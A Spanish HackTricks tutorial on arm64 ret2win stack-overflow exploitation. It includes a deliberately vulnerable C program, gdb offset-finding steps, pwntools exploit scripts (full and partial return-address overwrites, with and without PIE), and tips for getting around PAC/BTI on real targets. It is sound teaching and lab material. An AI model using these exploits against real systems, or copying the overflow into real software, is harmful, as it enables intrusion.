Ret2win - arm64
Reading time: 8 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Encuentra una introducción a arm64 en:
Código
#include <stdio.h>
#include <unistd.h>
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
Compilar sin pie y canary:
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
- La bandera extra
-mbranch-protection=none
desactiva AArch64 Branch Protection (PAC/BTI). Si tu toolchain por defecto habilita PAC o BTI, esto mantiene el laboratorio reproducible. Para comprobar si un binario compilado usa PAC/BTI puedes: - Busca propiedades GNU de AArch64:
readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
- Inspecciona prologues/epilogues en busca de
paciasp
/autiasp
(PAC) o de pads de aterrizajebti c
(BTI): objdump -d ret2win | head -n 40
Datos rápidos sobre la convención de llamadas AArch64
- El registro de enlace es
x30
(tambiénlr
), y las funciones típicamente guardanx29
/x30
constp x29, x30, [sp, #-16]!
y los restauran conldp x29, x30, [sp], #16; ret
. - Esto significa que la dirección de retorno guardada reside en
sp+8
relativa a la base del marco. Con unchar buffer[64]
colocado debajo, la distancia habitual de sobrescritura hasta elx30
guardado es 64 (buffer) + 8 (x29 guardado) = 72 bytes — exactamente lo que encontraremos a continuación. - El puntero de pila debe permanecer alineado a 16 bytes en los límites de función. Si construyes cadenas ROP más adelante para escenarios más complejos, mantén la alineación del SP o podrías provocar un fallo en los epílogos de función.
Encontrar el offset
Opción de patrón
Este ejemplo fue creado usando GEF:
Inicia gdb con gef, crea un patrón y úsalo:
gdb -q ./ret2win
pattern create 200
run
.png)
arm64 intentará regresar a la dirección en el registro x30 (que fue comprometido), podemos usar eso para encontrar el pattern offset:
pattern search $x30
.png)
El offset es 72 (9x48).
Opción de stack offset
Comienza obteniendo la dirección de stack donde se almacena el pc register:
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
.png)
Ahora establece un breakpoint después de la read()
y continúa hasta que la read()
se ejecute y establece un patrón como 13371337:
b *vulnerable_function+28
c
.png)
Encuentra dónde se almacena este patrón en la memoria:
.png)
Entonces: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72
.png)
No PIE
Regular
Obtén la dirección de la función win
:
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 <win>:
Exploit:
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Off-by-1
En realidad esto va a ser más bien un off-by-2 en el PC almacenado en el stack. En lugar de sobrescribir toda la dirección de retorno, vamos a sobrescribir solo los últimos 2 bytes con 0x06c4
.
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
.png)
Puedes encontrar otro ejemplo off-by-one en ARM64 en https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, que es un real off-by-one en una vulnerabilidad ficticia.
Con PIE
tip
Compila el binario sin el argumento -no-pie
Off-by-2
Sin un leak no conocemos la dirección exacta de la winning function, pero podemos conocer el offset de la función dentro del binario y, sabiendo que la dirección de retorno que estamos sobrescribiendo ya apunta a una dirección cercana, es posible leakear el offset hacia la win function (0x7d4) en este caso y simplemente usar ese offset:
.png)
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
Notas sobre el hardening moderno de AArch64 (PAC/BTI) y ret2win
- Si el binario está compilado con AArch64 Branch Protection, puede que veas
paciasp
/autiasp
obti c
emitidos en los prólogos/epílogos de las funciones. En ese caso: - Volver a una dirección que no sea un BTI landing pad válido puede generar un
SIGILL
. Prefiere apuntar a la entrada exacta de la función que contienebti c
. - Si PAC está habilitado para las returns, las sobreescrituras ingenuas de la dirección de retorno pueden fallar porque el epílogo autentica
x30
. Para escenarios de aprendizaje, recompila con-mbranch-protection=none
(mostrado arriba). Al atacar objetivos reales, prefiere secuestros que no usen returns (p. ej., sobreescrituras de function pointers) o construye ROP que nunca ejecute un parautiasp
/ret
que autentique tu LR falsificado. - Para comprobar las características rápidamente:
readelf --notes -W ./ret2win
y busca las notasAARCH64_FEATURE_1_BTI
/AARCH64_FEATURE_1_PAC
.objdump -d ./ret2win | head -n 40
y buscabti c
,paciasp
,autiasp
.
Ejecutar en hosts no‑ARM64 (consejo rápido qemu‑user)
Si estás en x86_64 pero quieres practicar AArch64:
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'
Páginas relacionadas de HackTricks
Ret2syscall - ARM64
Referencias
- Habilitar PAC y BTI en AArch64 para Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
- Estándar de llamadas a procedimientos para la arquitectura Arm de 64 bits (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.